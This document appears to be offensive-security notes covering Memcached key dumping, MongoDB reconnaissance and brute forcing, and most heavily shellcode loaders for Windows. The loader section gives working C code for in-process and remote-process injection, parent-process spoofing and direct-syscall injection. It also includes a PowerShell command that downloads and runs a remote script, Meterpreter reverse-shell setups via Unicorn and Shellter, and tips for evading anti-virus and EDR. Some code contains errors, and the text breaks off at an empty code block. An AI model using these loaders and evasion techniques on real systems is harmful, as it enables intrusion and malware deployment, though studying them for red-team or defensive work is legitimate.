`Memcached` is a distributed in-memory key-value store caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.

`Memcached` is a free and open-source software written in `C`, that runs on Unix-like operating systems (at least Linux and OS X) and on Microsoft Windows.

`Memcached`'s APIs provide a very large hash table distributed across multiple machines. When the table is full, subsequent inserts cause older data to be purged in `least recently used (LRU)` order. Expired items are removed first then the least used items are overwritten so that the frequently requested information can be retained in memory.

`Memcached` is widely used for large scale web application, including major players like YouTube, Reddit, Facebook, Twitter, and Wikipedia.

`Memcached` supports the only following data structure, called an "item" which consists of:

* A key (arbitrary string up to 250 bytes in length. No space or newlines for ASCII mode)
* A 32bit "flag" value
* An expiration time, in seconds. '0' means never expire. Can be up to 30 days.
* A 64bit "CAS" value, which is kept unique.
* Arbitrary item data

**Supported commands**

`Memcached` handles a small number of basic commands:

| Command                                                                                                               | Description                                                                                                                                                   | Example                                                      |
| --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------ |
| `version`                                                                                                             | Print memcached version                                                                                                                                       | version                                                      |
| `verbosity`                                                                                                           | Increases log level                                                                                                                                           | verbosity                                                    |
| `stats`                                                                                                               | Prints general memcached instance statistics                                                                                                                  | stats                                                        |
| `stats slabs`                                                                                                         | Prints memory statistics including number of active slabs                                                                                                     | stats slabs                                                  |
| `stats items`                                                                                                         | Prints items stored broken down by slab                                                                                                                       | <p>stats items<br>STAT items:\<SLAB\_ID>:number 1<br>...</p> |
| `stats cachedump <SLAB_ID/> <NUMBER_OF_KEYS/>`                                                                        | <p>Undocumented command that still exists in 1.4.5 but might be removed at anytime.<br>Prints keys per slab id, limited to dump of one page (1MB of data)</p> | stats cachedump 3 100                                        |
| <p><code>stats malloc</code><br><code>stats detail</code><br><code>stats sizes</code><br><code>stats reset</code></p> | Prints others statistics information                                                                                                                          | stats ...                                                    |
| `get <KEY\>`                                                                                                          | Reads the value associated to the specified key                                                                                                               | get key1                                                     |
| `set <KEY\> <FLAGS\> <TTL\> <SIZE\> <DATA\>`                                                                          | Set a key and its associated parameters and data                                                                                                              | set key1 0 60 4 \r\ndata\r                                   |
| `add <KEY\> <FLAGS\> <TTL\> <SIZE\> <DATA\>`                                                                          | Add a new key and its associated parameters and data                                                                                                          | add key2 0 60 5 \r\ndata2\r                                  |
| `replace <KEY\> <FLAGS\> <TTL\> <SIZE\> <DATA\>`                                                                      | Overwrite existing key and its associated parameters and data                                                                                                 | add key1 0 60 5 \r\ndata1\r                                  |
| `append <KEY\> <FLAGS\> <TTL\> <SIZE\> <DATA\>`                                                                       | Append data to the specified existing key                                                                                                                     | append key2 0 60 15                                          |
| `prepend <KEY\> <FLAGS\> <TTL\> <SIZE\> <DATA\>`                                                                      | Prepend data to existing key                                                                                                                                  | prepend key2 0 60 15                                         |
| `incr <KEY\> <NUMBER\>`                                                                                               | Increments numerical key value by given number                                                                                                                | incr key\_int 2                                              |
| `decr <KEY\> <NUMBER\>`                                                                                               | Decrements numerical key value by given number                                                                                                                | decr key\_int 2                                              |
| `delete <KEY\>`                                                                                                       | Deletes the specified existing key                                                                                                                            | delete key2                                                  |
| `flush_all`                                                                                                           | Invalidate all items immediately                                                                                                                              | flush\_all                                                   |
| `flush_all <N\>`                                                                                                      | Invalidate all items in the specified number of seconds                                                                                                       | flush\_all 60                                                |
| `quit`                                                                                                                | Terminate current session                                                                                                                                     | quit                                                         |

### Network scan

`nmap` can be used to scan the network for memcached services:

```
# memcached supports both TCP and UDP
nmap -sS -sU -v -p 11211 -sV -sC -oA nmap_memcached <RANGE | CIDR>
```

### Unrestricted keys dumping

As most deployments of memcached are within trusted networks, no authentication mechanism is implemented by default. Thus clients may connect freely to the memcached instance to retrieve the content cached, which may contain sensible information.

The dumping of the keys and their associated data relies on the undocumented command `stats cachedump`, which is needed to retrieve the keys. The command could be removed at anytime.

The process to dump the memcached keys and values is as follow:

```
# Retrieve slabs identifier
stats items
-> STAT items:<SLAB_ID>:...

# Retrieve the keys within the slab specified. Maximum number of keys: 1000
stats cachedump <SLAB_ID> <NUMBER_OF_KEYS>
-> ITEM <KEY> [24625 b; 1549536086 s] ...

# Retrieve the data associated to the key specified
get <KEY>
-> VALUE <KEY> 0 24625 <DATA>
```

The following bash script, courtesy of Omar Al-Ithawi, can be used to automate the process above. Note that the script is not adapted for larger memcached instance.

```
#!/usr/bin/env bash

echo 'stats items'  \
| nc <HOST> 11211  \
| grep -oe ':[0-9]*:'  \
| grep -oe '[0-9]*'  \
| sort  \
| uniq  \
| xargs -L1 -I{} bash -c 'echo "stats cachedump {} 1000" | nc <HOST> 11211'
```

***

### References

<https://lzone.de/cheat-sheet/memcached> <https://stackoverflow.com/questions/19560150/get-all-keys-set-in-memcached>


# 27017 / 27018 - MongoDB

### Overview

MongoDB is a cross-platform document-oriented database program developed by MongoDB Inc and initialy released February 11, 2009.

Classified as a NoSQL database program, MongoDB uses JSON-like documents with schemata.

### Network scan and basic recon

`nmap` can be used to scan the network for exposed MongoDB database services.

`nmap` includes the following default NSE scripts, triggered by usning `-sC`:

* `mongodb-info`, which will attempts to get build info and server status (sysinfo, MongoDB version, current and max connections, etc.)
* `mongodb-databases`, which will attempts to get a list of databases by using the listDatabases() function (by default, through an unauthenticated access).

```
nmap -v -sV -sC -oA nmap_MongoDB -p 27017,27018 <HOST | RANGE | CIDR>
```

### HTTP interface

MongoDB provides a monitoring and administration HTTP interface. `mongod` versions greater than 2.6 run by default with the http interface disabled and the `--rest` option must be specified whenever starting the service.

The port used for the HTTP interface is 1000 more than the configured mongod port thus being 28017 for a default installation.

An exposed HTTP interface could be leveraged to leak information about the MongoDB components and databases.

### Authentication brute force

Starting from MongoDB version 3.0, MongoDB uses a challenge and response mechanism: `SCRAM-SHA-1`. SCRAM-SHA-1 verifies supplied user credentials against the user’s name, password and database. The user’s database is the database where the user was created, and the user’s database and the user’s name together serves to identify the user.

Brute forcing MongoDB service is thus quite diffuclt as, in addition to the username and password, a correct database name has to be provided.

The `nmap` NSE script `mongodb-brute` and the `Metasploit` module `auxiliary/scanner/mongodb/mongodb_login` can be used to brute force credentials on the service:

```
# Include an empty line in the passwords wordlist to test for empty password
nmap -v -sV --script mongodb-brute --script-args "userdb=<USERNAMES_FILE>,passdb=<PASSWORDS_FILE>" -p 27017,27018 <HOST | RANGE | CIDR>

msf > use auxiliary/scanner/mongodb/mongodb_login
```

### Misconfigurations and known vulnerabilities

The `mongoaudit` python script can be used to detect misconfigurations and known vulnerabilities.

As of December 2018, the following tests are conducted:

* MongoDB listens on a port different to default one
* Server only accepts connections from whitelisted hosts / networks
* MongoDB HTTP status interface is not accessible on port 28017 (See "HTTP interface" above)
* MongoDB is not exposing its version number
* MongoDB version is newer than 2.4
* TLS/SSL encryption is enabled
* Authentication is enabled
* SCRAM-SHA-1 authentication method is enabled
* Server-side Javascript is forbidden \*
* Roles granted to the user only permit CRUD operations \*
* The user has permissions over a single database \*
* Security bug CVE-2015-7882
* Security bug CVE-2015-2705
* Security bug CVE-2014-8964
* Security bug CVE-2015-1609
* Security bug CVE-2014-3971
* Security bug CVE-2014-2917
* Security bug CVE-2013-4650
* Security bug CVE-2013-3969
* Security bug CVE-2012-6619
* Security bug CVE-2013-1892
* Security bug CVE-2013-2132

Once started from the command line, `mongoaudit` makes use of a terminal graphical interface that can be used to start and follow the testing process.

### Database access

The mongo CLI shell is an interactive JavaScript interface that can be used to query and update data as well as perform administrative operations on MongoDB databases.

```
# Specifying --password without the user’s password, will make the shell prompt for the password
mongo --username <USERNAME> --password --authenticationDatabase <DATABASE> --host <HOST> --port <PORT>

mongo mongodb://<USERNAME>:<PASSWORD>@<HOST>:<PORT>/<DATABASE>?authSource=<AUTH_DATABASE>
```

The supported mongo shell commands are:

* `db` display the current database
* `show dbs`, equivalent to `db.adminCommand( { listDatabases: 1 } )`, list the available databases, results conditionned by the authentication enforced and the current user access rights
* `use <DATABSE>` switch to the specified database
* `db.getCollectionNames()`
* `db.getCollection("<COLLECTION_NAME").find({}).limit(50)`

For more information about the MongoDB operations syntax, refer to the official documentation: `https://docs.mongodb.com/manual/crud/`.

Multiple GUI tools can be used to access a MongoDB database with out the need to know the mongo NoSQL syntax. The `Studio 3T` (previously known as `MongoChef`) provides a complete and an intuitive user-friendly graphical interface through a standalone executable.

### NoSQL injection

Applications using MongoDB could be vulnerable to NoSQL injections.

Note that since MongoDB version 2.4 (released in March 2013), the exploit possibilities through a NoSQL injection are limited.

For a detailed methodology to conduct NoSQL injection against MongoDB, refer to the `[WebApps] NoSQL injections - MongoDB` note.

### Compromised system to database access

If an access to the underlying operating system hosting the MongoDB service could be obtained, it is possible to modify the MongoDB configuration to access the database with out knowledge of the database users.

To add a superuser to the database:

* Stop the MongoDB service `sudo service mongod stop`
* Edit the MongoDB configuration file `mongodb.conf`


# Shellcode and PE loader

### Compilation

The basic `C` / `C++` code snippets in this note can be compiled on Linux using the cross-compiler `mingw` or on Windows (recommended) using `Developer Command Prompt` from `Visual Studio`:

```
# mingw.
# 32 bits
i686-w64-mingw32-gcc -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
i686-w64-mingw32-g++ -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
# 64 bits
x86_64-w64-mingw32-gcc -lws2_32 -o <BINARY_NAME> <C_PROGRAM>
x86_64-w64-mingw32-g++ -lws2_32 -o <BINARY_NAME> <C_PROGRAM>

# Visual Studio build tools.
cl <C_PROGRAM | CPP_PROGRAM>
```

Compiling on Windows is recommended for anti-virus evasion, as some products may categorize `mingw` compilation artefacts.

### Basic shellcode loaders

**\[Windows] PowerShell Invoke-Shellcode**

The `PowerShell` `PowerSploit`'s `Invoke-Shellcode` cmdlet can be leveraged to execute directly in memory the shellcode through `IEX` `DownloadString`.

Depending on the system architecture, `Invoke-Shellcode` will either inject and run the shellcode specified in the `$Shellcode32` or `$Shellcode64` variables.

```bash
# A web server hosting the modified Invoke-Shellcode script and a metasploit handler with the according payload type must be up and running

powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-Shellcode.ps1'); Invoke-Shellcode -Force;
```

*As a compiled binary.*

The following `C` code can be used to compile a binary that will execute the `PowerShell`'s `Invoke-Shellcode` cmdlet:

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
	system("powershell.exe -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http:///<WEBSERVER_IP>:<WEBSERVER_PORT>/Invoke-Shellcode.ps1'); Invoke-Shellcode -Force;");
	return 0;
}
```

**\[Windows] PowerShell - Unicorn**

[`Magic Unicorn`](https://github.com/trustedsec/unicorn) is a tool for using a PowerShell downgrade attack and inject shellcode (custom, `Cobalt Strike` `beacon` or `Metasploit` `meterpreter`) straight into memory.

*Ensure Metasploit is installed if using Metasploit methods.* If using `meterpreter` payloads the script will generate two files :

* `PowerShell_attack.txt`
* `unicorn.rc`

The text file contains all of the code needed in order to inject the PowerShell attack into memory and the `rc` file can be used to start a `Metasploit` reverse handler.

The commands are as follow:

```bash
python unicorn.py windows/meterpreter/reverse_http <HOST_IP> <HOST_PORT>

# On host.
msfconsole -r unicorn.rc

# On target.
# Execute the PowerShell command contained in the powershell_attack.txt file
```

**\[Windows] Basic C loader - CreateThread (intra-process)**

*The shellcode loaders below (especially the remote one) are likely to be flag by all `Endpoint detection and response` and behavioural anti-virus products.*

The `C` code below may be used as a template for running a shellcode in the current process:

```c
#include "stdio.h"
#include "Windows.h"

int _tmain(int argc, TCHAR** argv) {
    // Hex encoded binary shellcode.
    // PoC example: msfvenom -a x64 -p windows/x64/exec CMD=calc.exe -f c
    unsigned char shellcode[] = "";

    // Allocate the memory section for the shellcode as PAGE_READWRITE (to avoid more detected PAGE_EXECUTE_READWRITE).
    LPVOID shellcodeBaseAddress = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE);

    if (!shellcodeBaseAddress) {
        printf("Allocation of memory using VirtualAlloc failed: %x\n", GetLastError());
        return 1;
    }

    // Copy the shellcode in the newly allocated memory section.
    memcpy(shellcodeBaseAddress, shellcode, sizeof(shellcode));

    // Switch the protection of the shellcode's memory section to PAGE_EXECUTE_READ to execute the shellcode.
    DWORD OldProtectt = 0;
    BOOL virtualProctectStatus = VirtualProtect(shellcodeBaseAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &OldProtectt);

    if (!virtualProctectStatus) {
        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtect failed: %x\n", GetLastError());
        return 1;
    }

    // Execute the shellcode by creating a new thread in the current process.
    SECURITY_ATTRIBUTES lpThreadAttributes = { 0 };
    HANDLE hThread = CreateThread(&lpThreadAttributes, 0, (LPTHREAD_START_ROUTINE) shellcodeBaseAddress, NULL, 0, NULL);

    if (!hThread) {
        printf("Thread execution using CreateThread failed: %x\n", GetLastError());
        return 1;
    }

    // Wait for the shellcode thread to finish execution.
    WaitForSingleObject(hThread, INFINITE);

    // Close the thread handle after use.
    CloseHandle(hThread);

    return 0;
}
```

**\[Windows] Basic C loader - CreateRemoteThread (inter-process)**

The `C` code below may be used as a template for running a shellcode in a remote process:

```c

#include "windows.h"
#include "Processthreadsapi.h"
#include "stdio.h"
#include "tchar.h"
#include "tlhelp32.h"

/*
*
* if using GetProcAddress to avoid suspicious imports in IAT.
*
*/

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
    HANDLE             ProcessHandle,
    PVOID*             BaseAddress,
    ULONG              ZeroBits,
    PULONG             RegionSize,
    ULONG              AllocationType,
    ULONG              Protect
);

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(
    HANDLE             ProcessHandle,
    PVOID              BaseAddress,
    PVOID              Buffer,
    ULONG              NumberOfBytesToWrite,
    PULONG             NumberOfBytesWritten
);

typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
    HANDLE             ProcessHandle,
    PVOID*             BaseAddress,
    PSIZE_T            RegionSize,
    ULONG              NewProtect,
    PULONG             OldProtect
);

typedef NTSTATUS(NTAPI* pNtCreateThreadEx)(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE             ProcessHandle,
    PVOID              StartRoutine,
    PVOID              Argument,
    ULONG              CreateFlags,
    SIZE_T             ZeroBits,
    SIZE_T             StackSize,
    SIZE_T             MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList
);

DWORD GetProcessId(const TCHAR* processName) {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(processInfo);

    HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    #ifdef _DEBUG
    if (processesSnapshot == INVALID_HANDLE_VALUE) {
        printf("Unable to acquire processes snapshot");
        return 0;
    }
    #endif

    Process32First(processesSnapshot, &processInfo);

    if (!_tcscmp(processName, processInfo.szExeFile)) {
        CloseHandle(processesSnapshot);
        return processInfo.th32ProcessID;
    }

    while (Process32Next(processesSnapshot, &processInfo)) {
        if (!_tcscmp(processName, processInfo.szExeFile)) {
            CloseHandle(processesSnapshot);
            return processInfo.th32ProcessID;
        }
    }

    CloseHandle(processesSnapshot);

    return 0;
}

int _tmain(int argc, TCHAR** argv) {

    // Hex encoded binary shellcode.
    unsigned char shellcode[] = "";
    size_t szShellcode = sizeof(shellcode);

    #ifdef _DEBUG
    if (argc < 2) {
        printf("Usage: code.exe <TARGET_PROCESS_PID | TARGET_PROCESS_NAME>\n");
        return 1;
    }
    #endif

    DWORD tpid = _tstoi(argv[1]);

    if (tpid == 0) {
        tpid = GetProcessId(argv[1]);
    }

    #ifdef _DEBUG
    if (tpid == 0) {
        printf("Invalid PID or process name specified\n");
        return 1;
    }
    #endif

    // Obtain an handle to the remote process.
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tpid);

    #ifdef _DEBUG
    if (!hProc) {
        printf("Getting an handle on remote process using OpenProcess failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    // Allocate the memory section for the shellcode as PAGE_READWRITE (to avoid more detected PAGE_EXECUTE_READWRITE).

    size_t szAllocated = szShellcode;

    /* Standard API. */
    LPVOID shellcodeBaseAddress = VirtualAllocEx(hProc, 0, szAllocated, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);

    /* ntdll direct call (to avoid an import in the IAT). */
    pNtAllocateVirtualMemory NtAllocateVirtualMemoryFunc = (pNtAllocateVirtualMemory) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    NtAllocateVirtualMemoryFunc(hProc, &shellcodeBaseAddress, 0, (PULONG)&szAllocated, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy the shellcode in the newly allocated memory section.

    /* Standard API. */
    BOOL WriteProcessMemoryStatus = WriteProcessMemory(hProc, shellcodeBaseAddress, shellcode, sizeof(shellcode), NULL);
    #ifdef _DEBUG
    if (!WriteProcessMemoryStatus) {
        printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    /* ntdll direct call (to avoid an import in the IAT). */
    pNtWriteVirtualMemory NtWriteVirtualMemoryFunc = (pNtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    NTSTATUS  WriteProcessMemoryStatus = NtWriteVirtualMemoryFunc(hProc, shellcodeBaseAddress, shellcode, szShellcode, NULL);
    #ifdef _DEBUG
    if (WriteProcessMemoryStatus != 0) {
        printf("Writing the shellcode memory to remote process using WriteProcessMemory failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    // Switch the protection of the shellcode's memory section to PAGE_EXECUTE_READ to execute the shellcode.
    DWORD OldProtectt = 0;

    /* Standard API. */
    BOOL virtualProctectExStatus = VirtualProtectEx(hProc, shellcodeBaseAddress, sizeof(shellcode), PAGE_EXECUTE_READ, &OldProtectt);
    #ifdef _DEBUG
    if (!virtualProctectExStatus) {
        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtectEx failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    /* ntdll direct call (to avoid an import in the IAT). */
    pNtProtectVirtualMemory NtProtectVirtualMemoryFunc = (pNtProtectVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtProtectVirtualMemory");
    NTSTATUS virtualProctectExStatus = NtProtectVirtualMemoryFunc(hProc, &shellcodeBaseAddress, &szAllocated, PAGE_EXECUTE_READ, &OldProtectt);
    #ifdef _DEBUG
    if (virtualProctectExStatus != 0) {
        printf("Switching the protection of shellcode memory to PAGE_EXECUTE_READ using VirtualProtectEx failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    // Execute the shellcode by creating a new thread in the current process.
    SECURITY_ATTRIBUTES lpThreadAttributes = { 0 };
    HANDLE hThread = NULL;

    /* Standard API. */
    hThread = CreateRemoteThread(hProc, &lpThreadAttributes, 0, (LPTHREAD_START_ROUTINE)shellcodeBaseAddress, NULL, 0, NULL);

    /* ntdll direct call (to avoid an import in the IAT). */
    pNtCreateThreadEx NtCreateThreadExFunc = (pNtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateThreadEx");
    hThread = NtCreateThreadExFunc(&hThread, GENERIC_EXECUTE, NULL, hProc, shellcodeBaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

    #ifdef _DEBUG
    if (!hThread) {
        printf("Thread execution using CreateRemoteThread failed: %x\n", GetLastError());
        return 1;
    }
    #endif

    CloseHandle(hThread);
    CloseHandle(hProc);

    return 0;
}
```

**\[Windows] Basic C loader - Create process with parent spoofing**

The following `C` code can be used to spawn a process as the child of another specified process (allowing for cross sessions or user security context usurpation):

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")

int main(int argc, char** argv) {

    HANDLE hProc = NULL;
    STARTUPINFOEX si;
    PROCESS_INFORMATION pi;
    int pid = 0;
    SIZE_T szAttributeList = 0;
    BOOL ret;

    ZeroMemory(&si, sizeof(STARTUPINFOEX));

    Sleep(2000);

    if (argc != 2) {
        printf("Usage: SpawnChildProcess.exe <PID>\n");
        return -1;
    }

    DWORD tPid = atoi(argv[1]);

    hProc = OpenProcess(PROCESS_ALL_ACCESS, false, tPid);
    if (!hProc) {
#ifdef _DEBUG
        printf("[!][OpenProcess] Error opening target process: [%d]\n", GetLastError());
#endif
        return -1;
    }
#ifdef _DEBUG
    else {

        printf("[*][OpenProcess] Handle to target process opened.\n");
    }
#endif

    // First call to InitializeProcThreadAttributeList to retrieve the AttributeList size.
    InitializeProcThreadAttributeList(NULL, 1, 0, &szAttributeList);
    if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
#ifdef _DEBUG
        printf("[!][InitializeProcThreadAttributeList] First call to InitializeProcThreadAttributeList failed: [%d]\n", GetLastError());
#endif
        CloseHandle(hProc);
        return -1;
    }
#ifdef _DEBUG
    else {
        printf("[*][InitializeProcThreadAttributeList] Attribute list size retrieved.\n");
    }
#endif

    // Alloc lpAttributeList.
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, szAttributeList);
    if (si.lpAttributeList == NULL) {
#ifdef _DEBUG
        printf("[!][HeapAlloc] Failed to heap alloc for si.lpAttributeList: [%d]\n", GetLastError());
#endif
        CloseHandle(hProc);
        return -1;
    }

    // Init ProcThread AttributeList with the correctly sized szAttributeList.
    ret = InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &szAttributeList);
    if (!ret) {
#ifdef _DEBUG
        printf("[!][InitializeProcThreadAttributeList] Second call to InitializeProcThreadAttributeList failed: [%d]\n", GetLastError());
#endif
        CloseHandle(hProc);
        return -1;
    }
#ifdef _DEBUG
    else {
        printf("[*][InitializeProcThreadAttributeList] Attribute list init done.\n");
    }
#endif

    // Updates the specified attribute for process.
    ret = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
    if (!ret) {
#ifdef _DEBUG
        printf("[!][UpdateProcThreadAttribute] Failed to update the ProcThread attribute: [%d]\n", GetLastError());
#endif
        CloseHandle(hProc);
        return -1;
    }
#ifdef _DEBUG
    else {
        printf("[*][UpdateProcThreadAttribute] Attribute list for process creation updated.\n");
    }
#endif

    si.StartupInfo.cb = sizeof(STARTUPINFOEX);

    // Spawn the new process
    ret = CreateProcess(_T("C:\\Windows\\system32\\cmd.exe"), NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFO)(&si), &pi);
    if (!ret) {
#ifdef _DEBUG
        printf("[!][CreateProcess] Failed to create process: [%d]\n", GetLastError());
#endif
        CloseHandle(hProc);
        return -1;
    }
#ifdef _DEBUG
    else {
        printf("[+][CreateProcess] Process created!\n");
    }
#endif

    Sleep(2000);

    return 0;
}
```

### Shellcode loader for static analysis evasion

**\[Windows] Shellter**

`Shellter` is a dynamic shellcode injection tool that can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only for the free version). The shellcode can be self made or generated within `Shellter` through a framework, such as Metasploit.

The following built-in shellcodes are currently supported:

```
Meterpreter_Reverse_TCP
Meterpreter_Reverse_HTTP
Meterpreter_Reverse_HTTPS
Meterpreter_Bind_TCP
Shell_Reverse_TCP
Shell_Bind_TCP
WinExec
```

The procedure to create a binary is as follow:

```
$ shellter.exe

Choose Operation Mode - Auto/Manual (A/M/H): A
Perform Online Version Check? (Y/N/H): N

PE Target: <BINARY_TO_INJECT_INTO>

[...]

# Check if the chosen binary match the OS version attacked
Minimum Supported Windows OS: 4.0

# Stealth Mode preserves the original functionality of the infected PE file, so "Stealth" refers to the human factor.
# If you just need a backdoor don't enable this feature.
Enable Stealth Mode? (Y/N/H): N

************
* Payloads *
************
[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec
# L: One of the above payload
# C: Custom shellcode, a file path must be provided
Use a listed payload or custom? (L/C/H): L
Select payload by index: 1

# Example for a Meterpreter payload.
***************************
* meterpreter_reverse_tcp *
***************************
SET LHOST: <HOSTNAME | IP>
SET LPORT: <HOSTPORT>
Payload: meterpreter_reverse_tcp

[...]

Injection: Verified!
Press [Enter] to continue...
```

### Shellcode loader for behavioural analysis evasion

**Direct syscalls with SysWhispers**

[`SysWhispers`](https://github.com/jthuraisamy/SysWhispers) is tool that can be used to generate an `header` and `ASM` file to make directly `syscalls` in supporting programming languages. `SysWhispers` supports `Windows XP` to `Windows 10 21H1 (build 19043)` (as of the present note redaction date) using `syscalls` numbers and prototypes [referenced in the project repository](https://github.com/jthuraisamy/SysWhispers/blob/master/data).

The `syscall` version to use is determined at runtime directly in the assembly implemented the `syscall` by retrieving the `OSMajorVersion` and `OSMinorVersion` fields of the `Process Environment Block (PEB)` (through the `Thread Information Block (TIB)`).

```bash
# Export the NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx syscalls for all supported Windows versions.
syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx -o syscall_remote_inject

# Export all syscalls with compatibility for all supported Windows versions.
syswhispers.py --preset all -o syscalls_all
```

To add the produced to a `Visual Studio (2019)` project:

* In the `Solution Explorer` -> Header File -> Add -> New Item... -> Header File (.h) -> Add -> Copy the content the header file produced by `SysWhispers`.
* In the `Solution Explorer` -> Source File -> Add -> New Item... -> Utility -> Text File (.txt) -> Rename the file extension in .asm -> Copy the content the `ASM` file produced by `SysWhispers`.
* In the `Solution Explorer`, right click on the project -> Build Dependencies -> Build Customizations... -> Enable "masm(.targets, .props)".
* Right click on the added `ASM` file -> Properties -> Item Type: Microsoft Macro Assembler.

*CreateRemoteThread execution (inter-process)*

The following `C` code below can then be used to inject and run a shellcode in a remote process directly using `syscalls`:

```c
#include "windows.h"
#include "Processthreadsapi.h"
#include "stdio.h"
#include "tchar.h"
#include "tlhelp32.h"

// Header file generated by SysWhispers that includes definition for NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, and NtCreateThreadEx.
#include "SysWhispers.h"

// Returns the PID of the first process matching "processName".
DWORD GetProcessId(const TCHAR* processName) {
    PROCESSENTRY32 processInfo;
    processInfo.dwSize = sizeof(processInfo);

    HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (processesSnapshot == INVALID_HANDLE_VALUE) {
        printf("Unable to acquire processes snapshot");
        return 0;
    }

    Process32First(processesSnapshot, &processInfo);

    if (!_tcscmp(processName, processInfo.szExeFile)) {
        CloseHandle(processesSnapshot);
        return processInfo.th32ProcessID;
    }

    while (Process32Next(processesSnapshot, &processInfo)) {
        if (!_tcscmp(processName, processInfo.szExeFile)) {
            CloseHandle(processesSnapshot);
            return processInfo.th32ProcessID;
        }
    }

    CloseHandle(processesSnapshot);

    return 0;
}

int _tmain(int argc, TCHAR** argv) {

    // Hex encoded binary shellcode.
    unsigned char shellcode[] = "";
    size_t szShellcode = sizeof(shellcode);

    if (argc < 2) {
        printf("Usage: code.exe <TARGET_PROCESS_PID | TARGET_PROCESS_NAME>\n");
        return 1;
    }

    DWORD tpid = _tstoi(argv[1]);

    if (tpid == 0) {
        tpid = GetProcessId(argv[1]);
    }

    if (tpid == 0) {
        printf("Invalid PID or process name specified\n");
        return 1;
    }

    // Obtain an handle to the remote process.
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tpid);

    if (!hProc) {
        printf("Getting an handle on remote process using OpenProcess failed: %x\n", GetLastError());
        return 1;
    }

    // Allocate the memory section for the shellcode as PAGE_READWRITE (to avoid more detected PAGE_EXECUTE_READWRITE).
    LPVOID shellcodeBaseAddress = NULL;
    size_t szAllocated = szShellcode;
    NtAllocateVirtualMemory(hProc, &shellcodeBaseAddress, 0, (PSIZE_T) &szAllocated, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy the shellcode in the newly allocated memory section.
    NtWriteVirtualMemory(hProc, shellcodeBaseAddress, shellcode, szShellcode, 0);

    // Switch the protection of the shellcode's memory section to PAGE_EXECUTE_READ to execute the shellcode.
    DWORD oldprotect = 0;
    NtProtectVirtualMemory(hProc, &shellcodeBaseAddress, (PSIZE_T) &szAllocated, PAGE_EXECUTE_READ, &oldprotect);

    // Execute the shellcode by creating a new thread in the current process.
    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, shellcodeBaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);

    CloseHandle(hProc);

    return 0;
}
```

*Thread hijacking (inter-process)*

The following code snippet can be used to execute the specified shellcode by hijacking a thread in the remote process.

Following the writing of the shellcode in the target process memory:

```
1. A thread of the target process is first suspended (`NtOpenThread` +
	 `NtSuspendThread`).

2. The context of the thread is then retrieved (`NtGetContextThread`) and
   modified (`NtSetContextThread`) to point execute the shellcode (by setting
	 the thread's `instruction pointer register (rip)` to the allocated
	 shellcode).
```

3\. Finally, the thread execution is resumed (`NtResumeThread`).

```bash
